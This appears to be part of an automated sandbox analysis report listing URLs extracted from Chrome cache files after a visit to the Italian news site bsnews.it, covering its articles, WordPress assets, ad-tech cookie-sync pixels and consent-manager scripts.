Source: chromecache_914.2.dr	String found in binary or memory: https://bsnews.it/2024/03/27/governo-roccella-ok-cdm-a-registro-nazionale-per-affido-minori/
Source: chromecache_914.2.dr	String found in binary or memory: https://bsnews.it/2024/03/27/i-carabinieri-adottano-cinque-scuole-bresciane-si-parte-da-nave/
Source: chromecache_914.2.dr	String found in binary or memory: https://bsnews.it/2024/03/27/imparare-linglese-in-loco-la-carta-che-migliora-il-cv-agli-occhi-degli-
Source: chromecache_914.2.dr	String found in binary or memory: https://bsnews.it/2024/03/27/livorno-maxi-frode-sul-bonus-facciate-sequestro-da-18-milioni/
Source: chromecache_914.2.dr	String found in binary or memory: https://bsnews.it/2024/03/27/mairano-pausa-pranzo-con-tortino-alla-marijuana-quattro-si-sentono-male
Source: chromecache_914.2.dr	String found in binary or memory: https://bsnews.it/2024/03/27/meteo-a-brescia-28-marzo-2024/
Source: chromecache_914.2.dr	String found in binary or memory: https://bsnews.it/2024/03/27/nordio-sulla-separazione-delle-carriere-proposta-tra-aprile-e-maggio/
Source: chromecache_914.2.dr	String found in binary or memory: https://bsnews.it/2024/03/27/papa-preghiamo-per-la-pace-in-ucraina-israele-e-palestina/
Source: chromecache_914.2.dr	String found in binary or memory: https://bsnews.it/2024/03/27/pasqua-ecco-i-video-auguri-del-vescovo-tremolada-ai-bresciani/
Source: chromecache_914.2.dr	String found in binary or memory: https://bsnews.it/2024/03/27/pioggia-e-pericolo-frane-chiude-la-gardesana-tra-riva-e-limone/
Source: chromecache_914.2.dr	String found in binary or memory: https://bsnews.it/2024/03/27/semplificazioni-zangrillo-regole-piu-semplici-per-farmacie-e-scuola/
Source: chromecache_914.2.dr	String found in binary or memory: https://bsnews.it/2024/03/27/serle-i-ladri-ammazzano-il-cane-di-casa-a-calci/
Source: chromecache_914.2.dr	String found in binary or memory: https://bsnews.it/2024/03/27/superbonus-giorgetti-stop-a-sconto-in-fattura-e-cessione-del-credito/
Source: chromecache_914.2.dr	String found in binary or memory: https://bsnews.it/2024/03/27/tre-rapine-violente-in-via-milano-nellarco-di-poche-ore-19enne-tunisino
Source: chromecache_914.2.dr	String found in binary or memory: https://bsnews.it/2024/03/27/ue-dalla-commissione-una-proposta-per-la-laurea-europea/
Source: chromecache_914.2.dr	String found in binary or memory: https://bsnews.it/2024/03/27/valcamonica-col-trattore-sposta-i-new-jersey-che-chiudono-la-sp6-denunc
Source: chromecache_914.2.dr	String found in binary or memory: https://bsnews.it/2024/03/27/via-lamarmora-frontale-tra-due-auto-guidatore-tra-le-lamiere/
Source: chromecache_914.2.dr	String found in binary or memory: https://bsnews.it/about-us/
Source: chromecache_914.2.dr	String found in binary or memory: https://bsnews.it/andrea-tortelli-direttore-bsnews/
Source: chromecache_914.2.dr	String found in binary or memory: https://bsnews.it/author/atortelli_jt869600/
Source: chromecache_914.2.dr	String found in binary or memory: https://bsnews.it/brescia-in-tavola/
Source: chromecache_914.2.dr	String found in binary or memory: https://bsnews.it/category/notizie/notizie-categoria/
Source: chromecache_914.2.dr	String found in binary or memory: https://bsnews.it/category/notizie/notizie-categoria/notizie-cronaca-brescia/
Source: chromecache_914.2.dr	String found in binary or memory: https://bsnews.it/category/notizie/notizie-categoria/notizie-cronaca-brescia/notizie-curiose-brescia
Source: chromecache_914.2.dr	String found in binary or memory: https://bsnews.it/category/tv/
Source: chromecache_914.2.dr	String found in binary or memory: https://bsnews.it/comments/feed/
Source: chromecache_914.2.dr	String found in binary or memory: https://bsnews.it/contact/
Source: chromecache_914.2.dr	String found in binary or memory: https://bsnews.it/feed/
Source: chromecache_914.2.dr	String found in binary or memory: https://bsnews.it/home-2/
Source: chromecache_914.2.dr	String found in binary or memory: https://bsnews.it/home-3/
Source: chromecache_914.2.dr	String found in binary or memory: https://bsnews.it/notizie-per-argomento/
Source: chromecache_914.2.dr	String found in binary or memory: https://bsnews.it/notizie-per-comune-provincia-brescia/
Source: chromecache_914.2.dr	String found in binary or memory: https://bsnews.it/notizie-per-zona-2/
Source: chromecache_914.2.dr	String found in binary or memory: https://bsnews.it/numeri-utili-salute/
Source: chromecache_914.2.dr	String found in binary or memory: https://bsnews.it/numeri-utili-solidarieta/
Source: chromecache_914.2.dr	String found in binary or memory: https://bsnews.it/privacy-e-cookie-policy/
Source: chromecache_914.2.dr	String found in binary or memory: https://bsnews.it/pubblicita/
Source: chromecache_914.2.dr	String found in binary or memory: https://bsnews.it/redazione-contatti/
Source: chromecache_914.2.dr	String found in binary or memory: https://bsnews.it/soledad_home/
Source: chromecache_914.2.dr	String found in binary or memory: https://bsnews.it/sostienici/
Source: chromecache_914.2.dr	String found in binary or memory: https://bsnews.it/tag/coronavirus/
Source: chromecache_914.2.dr	String found in binary or memory: https://bsnews.it/wp-admin/admin-ajax.php
Source: chromecache_914.2.dr	String found in binary or memory: https://bsnews.it/wp-admin/admin-post.php?action=mailpoet_subscription_form
Source: chromecache_914.2.dr	String found in binary or memory: https://bsnews.it/wp-comments-post.php
Source: chromecache_914.2.dr	String found in binary or memory: https://bsnews.it/wp-content/plugins/akismet/_inc/akismet-frontend.js?ver=1710989504
Source: chromecache_914.2.dr	String found in binary or memory: https://bsnews.it/wp-content/plugins/content-egg/res/js/price_alert.js?ver=10.12.1
Source: chromecache_914.2.dr	String found in binary or memory: https://bsnews.it/wp-content/plugins/jetpack/jetpack_vendor/automattic/jetpack-image-cdn/dist/image-
Source: chromecache_914.2.dr	String found in binary or memory: https://bsnews.it/wp-content/plugins/js_composer/assets/css/js_composer.min.css?ver=7.5
Source: chromecache_914.2.dr	String found in binary or memory: https://bsnews.it/wp-content/plugins/mailpoet/assets/dist/css/mailpoet-public.c5d405bf.css?ver=6.4.3
Source: chromecache_914.2.dr	String found in binary or memory: https://bsnews.it/wp-content/plugins/mailpoet/assets/dist/js/public.js?ver=4.48.0
Source: chromecache_914.2.dr	String found in binary or memory: https://bsnews.it/wp-content/plugins/mailpoet/assets/img/form_close_icon/round_white.svg
Source: chromecache_914.2.dr	String found in binary or memory: https://bsnews.it/wp-content/plugins/td-cloud-library/assets/css/tdb_main.css?ver=be262a20ca49ba5e51
Source: chromecache_914.2.dr	String found in binary or memory: https://bsnews.it/wp-content/plugins/td-cloud-library/assets/js/js_files_for_front.min.js?ver=be262a
Source: chromecache_914.2.dr	String found in binary or memory: https://bsnews.it/wp-content/plugins/td-cloud-library/assets/js/js_posts_autoload.min.js?ver=be262a2
Source: chromecache_914.2.dr	String found in binary or memory: https://bsnews.it/wp-content/plugins/td-composer/legacy/Newspaper/assets/css/td_legacy_main.css?ver=
Source: chromecache_914.2.dr	String found in binary or memory: https://bsnews.it/wp-content/plugins/td-composer/legacy/Newspaper/js/tagdiv_theme.min.js?ver=12.6.5
Source: chromecache_914.2.dr	String found in binary or memory: https://bsnews.it/wp-content/plugins/td-composer/legacy/Newspaper/js/tdAjaxSearch.js?ver=12.6.5
Source: chromecache_914.2.dr	String found in binary or memory: https://bsnews.it/wp-content/plugins/td-composer/legacy/Newspaper/js/tdInfiniteLoader.js?ver=12.6.5
Source: chromecache_914.2.dr	String found in binary or memory: https://bsnews.it/wp-content/plugins/td-composer/legacy/Newspaper/js/tdLoadingBox.js?ver=12.6.5
Source: chromecache_914.2.dr	String found in binary or memory: https://bsnews.it/wp-content/plugins/td-composer/legacy/Newspaper/js/tdLogin.js?ver=12.6.5
Source: chromecache_914.2.dr	String found in binary or memory: https://bsnews.it/wp-content/plugins/td-composer/legacy/Newspaper/js/tdMenu.js?ver=12.6.5
Source: chromecache_914.2.dr	String found in binary or memory: https://bsnews.it/wp-content/plugins/td-composer/legacy/Newspaper/js/tdModalPostImages.js?ver=12.6.5
Source: chromecache_914.2.dr	String found in binary or memory: https://bsnews.it/wp-content/plugins/td-composer/legacy/Newspaper/js/tdPostImages.js?ver=12.6.5
Source: chromecache_914.2.dr	String found in binary or memory: https://bsnews.it/wp-content/plugins/td-composer/legacy/Newspaper/js/tdSocialSharing.js?ver=12.6.5
Source: chromecache_914.2.dr	String found in binary or memory: https://bsnews.it/wp-content/plugins/td-composer/legacy/Newspaper/js/tdToTop.js?ver=12.6.5
Source: chromecache_914.2.dr	String found in binary or memory: https://bsnews.it/wp-content/plugins/td-composer/td-multi-purpose/style.css?ver=6217cd4d7820e3bfbc83
Source: chromecache_914.2.dr	String found in binary or memory: https://bsnews.it/wp-content/plugins/td-standard-pack/Newspaper/assets/css/td_standard_pack_main.css
Source: chromecache_914.2.dr	String found in binary or memory: https://bsnews.it/wp-content/plugins/wp-bannerize-pro/public/css/wp-bannerize-admin-bar.min.css?ver=
Source: chromecache_914.2.dr	String found in binary or memory: https://bsnews.it/wp-content/plugins/wp-bannerize-pro/public/css/wp-bannerize.min.css?ver=1.6.9
Source: chromecache_914.2.dr	String found in binary or memory: https://bsnews.it/wp-content/plugins/wp-bannerize-pro/public/js/wp-bannerize-impressions.min.js?ver=
Source: chromecache_914.2.dr	String found in binary or memory: https://bsnews.it/wp-content/plugins/wp-polls/images/default/pollbg.gif
Source: chromecache_914.2.dr	String found in binary or memory: https://bsnews.it/wp-content/plugins/wp-polls/images/loading.gif
Source: chromecache_914.2.dr	String found in binary or memory: https://bsnews.it/wp-content/plugins/wp-polls/polls-css.css?ver=2.77.2
Source: chromecache_914.2.dr	String found in binary or memory: https://bsnews.it/wp-content/plugins/wp-polls/polls-js.js?ver=2.77.2
Source: chromecache_914.2.dr	String found in binary or memory: https://bsnews.it/wp-content/themes/Newspaper/style.css?ver=12.6.5
Source: chromecache_914.2.dr	String found in binary or memory: https://bsnews.it/wp-content/uploads/2017/01/FAVICON.jpg
Source: chromecache_914.2.dr	String found in binary or memory: https://bsnews.it/wp-content/uploads/2017/03/BSNEWS_orizzontale.jpg
Source: chromecache_914.2.dr	String found in binary or memory: https://bsnews.it/wp-content/uploads/2017/03/BSNEWS_verticale-1.jpg
Source: chromecache_914.2.dr	String found in binary or memory: https://bsnews.it/wp-content/uploads/2017/04/quadrato-icon.jpg
Source: chromecache_914.2.dr	String found in binary or memory: https://bsnews.it/wp-content/uploads/2023/05/300x250_bsm.jpg
Source: chromecache_914.2.dr	String found in binary or memory: https://bsnews.it/wp-content/uploads/2024/03/BSNEWS-728-x-90-1.gif
Source: chromecache_914.2.dr	String found in binary or memory: https://bsnews.it/wp-json/
Source: chromecache_914.2.dr	String found in binary or memory: https://bsnews.it/wp-json/oembed/1.0/embed?url=https%3A%2F%2Fbsnews.it%2F2015%2F01%2F23%2Fle-citta-p
Source: chromecache_914.2.dr	String found in binary or memory: https://bsnews.it/wp-json/wp/v2/posts/95325
Source: chromecache_914.2.dr	String found in binary or memory: https://bsnews.it/xmlrpc.php
Source: chromecache_914.2.dr	String found in binary or memory: https://bsnews.it/xmlrpc.php?rsd
Source: chromecache_749.2.dr	String found in binary or memory: https://bttrack.com/pixel/cookiesync?source=67e94f23-25d6-4008-8236-375d1743c2e0&secure=1
Source: chromecache_851.2.dr	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=722126#c8
Source: chromecache_914.2.dr	String found in binary or memory: https://c0.wp.com/c/6.4.3/wp-includes/css/dist/block-library/style.min.css
Source: chromecache_914.2.dr	String found in binary or memory: https://c0.wp.com/c/6.4.3/wp-includes/js/comment-reply.min.js
Source: chromecache_914.2.dr	String found in binary or memory: https://c0.wp.com/c/6.4.3/wp-includes/js/jquery/jquery-migrate.min.js
Source: chromecache_914.2.dr	String found in binary or memory: https://c0.wp.com/c/6.4.3/wp-includes/js/jquery/jquery.min.js
Source: chromecache_914.2.dr	String found in binary or memory: https://c0.wp.com/c/6.4.3/wp-includes/js/mediaelement/mediaelementplayer-legacy.min.css
Source: chromecache_914.2.dr	String found in binary or memory: https://c0.wp.com/c/6.4.3/wp-includes/js/mediaelement/wp-mediaelement.min.css
Source: chromecache_914.2.dr	String found in binary or memory: https://c0.wp.com/c/6.4.3/wp-includes/js/underscore.min.js
Source: chromecache_914.2.dr	String found in binary or memory: https://c0.wp.com/p/jetpack/13.2.2/_inc/build/likes/queuehandler.min.js
Source: chromecache_914.2.dr	String found in binary or memory: https://c0.wp.com/p/jetpack/13.2.2/_inc/build/related-posts/related-posts.min.js
Source: chromecache_914.2.dr	String found in binary or memory: https://c0.wp.com/p/jetpack/13.2.2/_inc/build/sharedaddy/sharing.min.js
Source: chromecache_914.2.dr	String found in binary or memory: https://c0.wp.com/p/jetpack/13.2.2/_inc/social-logos/social-logos.min.css
Source: chromecache_914.2.dr	String found in binary or memory: https://c0.wp.com/p/jetpack/13.2.2/css/jetpack.css
Source: chromecache_914.2.dr	String found in binary or memory: https://c0.wp.com/p/jetpack/13.2.2/modules/wpgroho.js
Source: chromecache_1001.2.dr	String found in binary or memory: https://c1.adform.net/serving/cookie/match?party=1301&gdpr=&gdpr_consent=
Source: chromecache_549.2.dr	String found in binary or memory: https://c1.adform.net/serving/cookie/match?party=1301&gdpr=0&gdpr_consent=
Source: chromecache_390.2.dr	String found in binary or memory: https://c1.adform.net/serving/cookie/match?party=29
Source: chromecache_1007.2.dr	String found in binary or memory: https://capi.connatix.com/us/pixel?puid=ZgUvi9HM46UAADq7ABhzMwAACsEAAAIB&pId=17&gdpr_consent
Source: chromecache_1007.2.dr	String found in binary or memory: https://casale-match.dotomi.com/match/bounce/current?networkId=19998&version=1
Source: chromecache_461.2.dr	String found in binary or memory: https://ccpa-wrapper.privacymanager.io/ccpa
Source: chromecache_461.2.dr	String found in binary or memory: https://ccpa.privacymanager.io/latest/ccpa.bundle.js
Source: chromecache_703.2.dr, chromecache_992.2.dr, chromecache_447.2.dr	String found in binary or memory: https://cct.google/taggy/agent.js
Source: chromecache_914.2.dr	String found in binary or memory: https://cdn.codesour.com
Source: chromecache_914.2.dr	String found in binary or memory: https://cdn.codesour.com/codesour/bsnews/bsnews.prod.js
Source: chromecache_914.2.dr	String found in binary or memory: https://cdn.codesour.com/codesour/css/sourstyle.prod.css
Source: chromecache_523.2.dr	String found in binary or memory: https://cdn.connectad.io/connectmyusers.php?
Source: chromecache_1000.2.dr	String found in binary or memory: https://cdn.indexww.com/ht/htw-pixel.gif?ZgUvi9HM46UAADq7ABhzMwAA%262753
Source: chromecache_974.2.dr	String found in binary or memory: https://cdn.integ.uidapi.com/
Source: chromecache_349.2.dr, chromecache_914.2.dr, chromecache_701.2.dr	String found in binary or memory: https://cdn.onesignal.com/sdks/OneSignalSDK.js
Source: chromecache_477.2.dr	String found in binary or memory: https://cdn.pbstck.com/collector-9d47d92.js
Source: chromecache_477.2.dr	String found in binary or memory: https://cdn.pbstck.com/index-monitoring-bbdc39c.js
Source: chromecache_477.2.dr	String found in binary or memory: https://cdn.pbstck.com/index-refresh-bbdc39c.js
Source: chromecache_477.2.dr	String found in binary or memory: https://cdn.pbstck.com/user-sessions-aadee70.js
Source: chromecache_826.2.dr	String found in binary or memory: https://ce.lijit.com/merge?pid=76&3pid=412063c9-af57-0892-2e1b-e0b2f8a819b5&gdpr=0&gdpr_consent=
Source: chromecache_1007.2.dr	String found in binary or memory: https://cm-supply-web.gammaplatform.com/adx/usersyncsupply?pid=1&t=pixel
Source: chromecache_570.2.dr	String found in binary or memory: https://cm-x.mgid.com/7c66bfc34cae8636a9aefaf68cb9041c.gif?redir=https%3A%2F%2Fu-iad04.e-planning.ne
Source: chromecache_756.2.dr	String found in binary or memory: https://cm.adform.net/cookie?&gdpr=
Source: chromecache_410.2.dr	String found in binary or memory: https://cm.adform.net/cookie?redirect_url=https%3A%2F%2Fcs-server-s2s.yellowblue.io%2Fcs%3Faid%3D116
Source: chromecache_390.2.dr	String found in binary or memory: https://cm.adgrx.com/bridge?AG_PID=casale&AG_SETCOOKIE
Source: chromecache_501.2.dr	String found in binary or memory: https://cm.adgrx.com/bridge?AG_PID=pubmatic&AG_SETCOOKIE&gdpr=0&gdpr_consent=
Source: chromecache_1000.2.dr	String found in binary or memory: https://cm.ctnsnet.com/int/cm?exc=19
Source: chromecache_559.2.dr	String found in binary or memory: https://cm.g.doubleclick.net/pixel?google_nid=bidswitch_dbm&google_cm&google_sc&ssp=onetag&bsw_param
Source: chromecache_632.2.dr	String found in binary or memory: https://cm.g.doubleclick.net/pixel?google_nid=exelate&google_hm=ODVjYzhjYTkwZWU0YTZhMjZhNjQ2ZGM5NDJm
Source: chromecache_1001.2.dr	String found in binary or memory: https://cm.g.doubleclick.net/pixel?google_nid=gumgum_dbm&google_hm=dV84NjBkMzBjOC0yZjlkLTQ0MzktYWUxN
Source: chromecache_549.2.dr	String found in binary or memory: https://cm.g.doubleclick.net/pixel?google_nid=gumgum_dbm&google_hm=dV9hNTQ4OTgzNi0yNjNiLTQ5MDMtOTA5N
Source: chromecache_749.2.dr	String found in binary or memory: https://cm.g.doubleclick.net/pixel?google_nid=index&google_cm&google_hm=ZgUvi9HM46UAADq7ABhz
Source: chromecache_727.2.dr	String found in binary or memory: https://cm.g.doubleclick.net/pixel?google_nid=neodata_dmp&google_cm&pv=dbm&sid=
Source: chromecache_911.2.dr, chromecache_1028.2.dr	String found in binary or memory: https://cm.g.doubleclick.net/pixel?google_nid=onetag_eb&gdpr=$
Source: chromecache_385.2.dr	String found in binary or memory: https://cm.g.doubleclick.net/pixel?google_nid=openx&google_cm&google_sc
Source: chromecache_385.2.dr	String found in binary or memory: https://cm.g.doubleclick.net/pixel?google_nid=openx&google_hm=MDFhMTZlYzMtOGM5NC02YzNiLTdjNDctMGNhZD
Source: chromecache_448.2.dr	String found in binary or memory: https://cm.g.doubleclick.net/pixel?google_nid=pmeb&google_sc=1&google_hm=AfUyisTZRK2EaGCohSR8aA%3D%3
Source: chromecache_448.2.dr	String found in binary or memory: https://cm.g.doubleclick.net/pixel?google_nid=pubmatic&google_cm&google_sc&gdpr=0&gdpr_consent=
Source: chromecache_448.2.dr	String found in binary or memory: https://cm.g.doubleclick.net/pixel?google_nid=pubmatic&google_hm=MDFGNTMyOEEtQzREOS00NEFELTg0NjgtNjB
Source: chromecache_514.2.dr, chromecache_917.2.dr	String found in binary or memory: https://cm.g.doubleclick.net/pixel?google_nid=tremor_video_dbm&google_hm=NWM5OWEwMDliZDE4NGQ1Y2EzYjc
Source: chromecache_647.2.dr	String found in binary or memory: https://cm.g.doubleclick.net/pixel?google_nid=zeotap_ddp&google_cm&google_hm=NWI5NWEzZGItMWEzYS00YzV
Source: chromecache_461.2.dr	String found in binary or memory: https://cmp-vendors.privacymanager.io/purpose-list.json
Source: chromecache_461.2.dr	String found in binary or memory: https://cmp-wrapper.privacymanager.io
Source: chromecache_461.2.dr	String found in binary or memory: https://cmp.privacymanager.io/latest/cmp.bundle.js
Source: chromecache_632.2.dr	String found in binary or memory: https://cms.analytics.yahoo.com/cms?partner_id=EXETE
Source: chromecache_727.2.dr	String found in binary or memory: https://cms.analytics.yahoo.com/cms?partner_id=NDATA&rt=img&rnd=
Source: chromecache_647.2.dr	String found in binary or memory: https://cms.analytics.yahoo.com/cms?partner_id=ZTAP
Source: chromecache_647.2.dr	String found in binary or memory: https://cms.quantserve.com/pixel/p-2vLHuZkZPAz2_.gif?idmatch=0&initiator=zt&gdpr=0&gdpr_consent=&par
Source: chromecache_501.2.dr	String found in binary or memory: https://cms.quantserve.com/pixel/p-5aWVS_roA1dVM.gif?idmatch=0&gdpr=0&gdpr_consent=
Source: chromecache_977.2.dr	String found in binary or memory: https://cms.quantserve.com/pixel/p-EtBqU4Lj3YbAv.gif?idmatch=0&gdpr=0&gdpr_consent=
Source: chromecache_1007.2.dr	String found in binary or memory: https://cms.quantserve.com/pixel/p-Z8PuJEk6U7Hyq.gif?idmatch=0
Source: chromecache_904.2.dr	String found in binary or memory: https://connect.facebook.net/en_US/sdk.js
Source: chromecache_953.2.dr	String found in binary or memory: https://connect.facebook.net/it_IT/sdk.js
Source: chromecache_410.2.dr	String found in binary or memory: https://contextual.media.net/cksync.php?cs=25&type=ris&ovsid=%7B%7BAPID%7D%7D&redirect=https%3A%2F%2
Source: chromecache_570.2.dr	String found in binary or memory: https://cookies.nextmillmedia.com/sync?type=image&gdpr=
Source: chromecache_922.2.dr, chromecache_582.2.dr	String found in binary or memory: https://cr-p43.ladsp.com/cookiesender/43?rid=30f2e100c3804685b89bc432e7fc41cf
Source: chromecache_501.2.dr	String found in binary or memory: https://crb.kargo.com/api/v1/dsync/Martin?exid=01F5328A-C4D9-44AD-8468-60A885247C68&gdpr=0&gdpr_cons
Source: chromecache_549.2.dr, chromecache_1001.2.dr	String found in binary or memory: https://creativecdn.com/cm-notify?pi=gumgum
Source: chromecache_390.2.dr	String found in binary or memory: https://creativecdn.com/cm-notify?pi=index&gpdr=&gdpr_consent=&us_privacy=&user_id=Z
Source: chromecache_911.2.dr, chromecache_1028.2.dr	String found in binary or memory: https://cs.admanmedia.com/73c1e1bfc3bde354d60b80e601ae3914.gif?puid=
Source: chromecache_570.2.dr	String found in binary or memory: https://cs.admanmedia.com/b28728b7c8901dbbb0acc2aaf47273b8.gif?redir=https%3A%2F%2Fu-iad04.e-plannin
Source: chromecache_977.2.dr	String found in binary or memory: https://cs.admanmedia.com/e09bad714a425a93d6dea503dcf9c528.gif?redir=https%3A%2F%2Frtb-csync.smartad
Source: chromecache_593.2.dr	String found in binary or memory: https://cs.admanmedia.com/sync/admanmedia?puid=9741359e-b2a2-4864-af08-41d769df6c9b&gdpr=
Source: chromecache_944.2.dr	String found in binary or memory: https://cs.admanmedia.com/sync/minute_media?gdpr=%5BGDPR%5D&gdpr_consent=%5BUSER_CONSENT%5D&ismms2s=
Source: chromecache_919.2.dr	String found in binary or memory: https://cs.minutemedia-prebid.com/cs?aid=21493&id=27NUsK0FTKCxM_hJEiZb3SbrknWDzGHvtZezmtlGbyI
Source: chromecache_1013.2.dr	String found in binary or memory: https://cs.seedtag.com/cs.html?pt=9563-3051-01&pc=IT
Source: chromecache_837.2.dr	String found in binary or memory: https://cs.yellowblue.io/cs?aid=11581&id=27NUsK0FTKCxM_hJEiZb3SbrknWDzGHvtZezmtlGbyI
Source: chromecache_944.2.dr	String found in binary or memory: https://csync.loopme.me/?gdpr=%5BGDPR%5D&gdpr_consent=%5BUSER_CONSENT%5D&ismms2s=1&pubid=11556&redir
Source: chromecache_410.2.dr	String found in binary or memory: https://csync.loopme.me/?pubid=11362&gdpr=0&gdpr_consent=&redirect=https%3A%2F%2Fcs-server-s2s.yello
Source: chromecache_403.2.dr, chromecache_523.2.dr	String found in binary or memory: https://csync.smilewanted.com
Source: chromecache_619.2.dr	String found in binary or memory: https://csync.smilewanted.com/drop_cookie_sw.php
Source: chromecache_647.2.dr	String found in binary or memory: https://dmp.adform.net/serving/cookie/match/?party=1105&env=mWeb&eventType=pageview&id_mid_4=5b95a3d
Source: chromecache_749.2.dr	String found in binary or memory: https://dmp.brand-display.com/cm/api/index?cm_dsp_id=191&cm_user_id=%3cIndex_user_id%3e
Source: chromecache_647.2.dr	String found in binary or memory: https://dmp.v.fwmrm.net/ad/u?mode=echo&cr=https%3A%2F%2Fmwzeom.zeotap.com%2Fmw%3Fzpartnerid%3D1368%2
Source: chromecache_926.2.dr	String found in binary or memory: https://dofowb44yci1f.cloudfront.net/digitrend/salaBianca.html
Source: chromecache_926.2.dr	String found in binary or memory: https://dofowb44yci1f.cloudfront.net/digitrend/salaBlu.html
Source: chromecache_926.2.dr	String found in binary or memory: https://dofowb44yci1f.cloudfront.net/digitrend/salaGialla.html
Source: chromecache_926.2.dr	String found in binary or memory: https://dofowb44yci1f.cloudfront.net/digitrend/salaRossa.html
Source: chromecache_926.2.dr	String found in binary or memory: https://dofowb44yci1f.cloudfront.net/digitrend/salaVerde.html
Source: chromecache_926.2.dr	String found in binary or memory: https://dofowb44yci1f.cloudfront.net/digitrend/salaViola.html
Source: chromecache_647.2.dr	String found in binary or memory: https://dpm.demdex.net/ibs:dpid=199624&dpuuid=5b95a3db-1a3a-4c5d-7bc4-805f128d851b&redir=https%3A%2F
Source: chromecache_1007.2.dr	String found in binary or memory: https://dpm.demdex.net/ibs:dpid=23728&dpuuid=ZgUvi9HM46UAADq7ABhzMwAA%262753?gdpr_consent=&u
Source: chromecache_647.2.dr	String found in binary or memory: https://dsp.adfarm1.adition.com/cookie/?redirect=https%3A%2F%2Fmwzeom.zeotap.com%2Fmw%3Fcid%3D%25%25
Source: chromecache_909.2.dr, chromecache_577.2.dr	String found in binary or memory: https://dsp.adfarm1.adition.com/cookie/?ssp=14&gdpr=0&gdpr_consent=&rid=30f2e100c3804685b89bc432e7fc
Source: chromecache_1000.2.dr	String found in binary or memory: https://dsum-sec.casalemedia.com/rrum?ixi=1&cm_dsp_id=85&cb=https%3A%2F%2Fcm.g.doubleclick.n
Source: chromecache_650.2.dr	String found in binary or memory: https://dt.videohub.tv/ssframework/cookieSync.htm?UITR=5c99a009bd184d5ca3b7885003b720e3&url=https://
Source: chromecache_944.2.dr	String found in binary or memory: https://eb2.3lift.com/getuid?cmp_cs=&gdpr=0&ismms2s=1&redir=https%3A%2F%2Fcs-rtb.minutemedia-prebid.
Source: chromecache_570.2.dr	String found in binary or memory: https://eb2.3lift.com/sync?redir=https%3A%2F%2Fsync.e-planning.net%2Fum%3Fuid%3D%24UID%26dc%3D4d76b6
Source: chromecache_448.2.dr	String found in binary or memory: https://eb2.3lift.com/xuid?mid=7976&xuid=01F5328A-C4D9-44AD-8468-60A885247C68&dongle=u6nf&gdpr=0&gdp
Source: chromecache_393.2.dr	String found in binary or memory: https://esp.rtbhouse.com/encrypt
Source: chromecache_648.2.dr	String found in binary or memory: https://fonts.googleapis.com/css?family=Google
Source: chromecache_866.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/lato/v24/S6uyw4BMUTPHjx4wXg.woff2)
Source: chromecache_866.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/lato/v24/S6uyw4BMUTPHjxAwXjeu.woff2)
Source: chromecache_398.2.dr	String found in binary or memory: https://fqtag.com/implement.js
Source: chromecache_461.2.dr	String found in binary or memory: https://gdpr-wrapper.privacymanager.io/gdpr
Source: chromecache_461.2.dr	String found in binary or memory: https://gdpr.privacymanager.io/latest/gdpr.bundle.js
Source: chromecache_461.2.dr	String found in binary or memory: https://geo.privacymanager.io
Source: chromecache_851.2.dr	String found in binary or memory: https://gist.github.com/marlun78/2701678
Source: chromecache_461.2.dr	String found in binary or memory: https://github.com/LiosK/UUID.js
Source: chromecache_461.2.dr	String found in binary or memory: https://github.com/blueimp/JavaScript-MD5
Source: chromecache_623.2.dr	String found in binary or memory: https://github.com/fat/bean
Source: chromecache_736.2.dr	String found in binary or memory: https://github.com/google/safevalues/issues
Source: chromecache_898.2.dr	String found in binary or memory: https://github.com/mozilla/vtt.js
Source: chromecache_898.2.dr	String found in binary or memory: https://github.com/mozilla/vtt.js/blob/master/LICENSE
Source: chromecache_621.2.dr	String found in binary or memory: https://github.com/prebid/Shared-id-v2/
Source: chromecache_461.2.dr	String found in binary or memory: https://github.com/uuidjs/uuid
Source: chromecache_461.2.dr	String found in binary or memory: https://github.com/uuidjs/uuid#getrandomvalues-not-supported
Source: chromecache_461.2.dr	String found in binary or memory: https://github.com/uuidjs/uuid/pull/434
Source: chromecache_898.2.dr	String found in binary or memory: https://github.com/videojs/video.js/blob/master/LICENSE
Source: chromecache_703.2.dr	String found in binary or memory: https://google.com
Source: chromecache_688.2.dr	String found in binary or memory: https://googleads.g.doubleclick.net
Source: chromecache_461.2.dr	String found in binary or memory: https://gpp-wrapper.privacymanager.io
Source: chromecache_461.2.dr	String found in binary or memory: https://gpp.privacymanager.io/latest/gpp.bundle.js
Source: chromecache_886.2.dr, chromecache_523.2.dr	String found in binary or memory: https://gum.criteo.com/sid/json?origin=prebid
Source: chromecache_570.2.dr	String found in binary or memory: https://gw-iad-bid.ymmobi.com/adx/user/sync?pubid=ZXBsYW5uaW5n&gdpr=$
Source: chromecache_523.2.dr	String found in binary or memory: https://i.connectad.io/api/v2
Source: chromecache_749.2.dr	String found in binary or memory: https://i.liadm.com/s/31327?bidder_id=14481&bidder_uuid=ZgUvi9HM46UAADq7ABhzMwAA%262753&gpdr
Source: chromecache_967.2.dr	String found in binary or memory: https://i.liadm.com/s/57424?bidder_id=206088&bidder_uuid=2d78618d-7239-08ee-2b21-aa120a8fe708
Source: chromecache_824.2.dr	String found in binary or memory: https://i.liadm.com/s/75145?bidder_id=195755&bidder_uuid=01F5328A-C4D9-44AD-8468-60A885247C68
Source: chromecache_741.2.dr	String found in binary or memory: https://i.w55c.net/ping_match.gif?st=TREMOR&rurl=https://partners.tremorhub.com/sync?UIDX=_wfivefive
Source: chromecache_914.2.dr	String found in binary or memory: https://i0.wp.com/bsnews.it/wp-content/uploads/2017/03/centro-san-filippo-brescia.jpeg?resize=324%2C
Source: chromecache_914.2.dr	String found in binary or memory: https://i0.wp.com/bsnews.it/wp-content/uploads/2017/03/centro-san-filippo-brescia.jpeg?resize=533%2C
Source: chromecache_914.2.dr	String found in binary or memory: https://i0.wp.com/bsnews.it/wp-content/uploads/2017/03/centro-san-filippo-brescia.jpeg?zoom=2&resize
Source: chromecache_914.2.dr	String found in binary or memory: https://i0.wp.com/bsnews.it/wp-content/uploads/2017/03/centro-san-filippo-brescia.jpeg?zoom=3&resize
Source: chromecache_914.2.dr	String found in binary or memory: https://i0.wp.com/bsnews.it/wp-content/uploads/2017/04/musil.jpg?resize=324%2C160&ssl=1
Source: chromecache_914.2.dr	String found in binary or memory: https://i0.wp.com/bsnews.it/wp-content/uploads/2017/04/musil.jpg?resize=533%2C261&ssl=1
Source: chromecache_914.2.dr	String found in binary or memory: https://i0.wp.com/bsnews.it/wp-content/uploads/2017/04/musil.jpg?zoom=2&resize=324%2C160&ssl=1
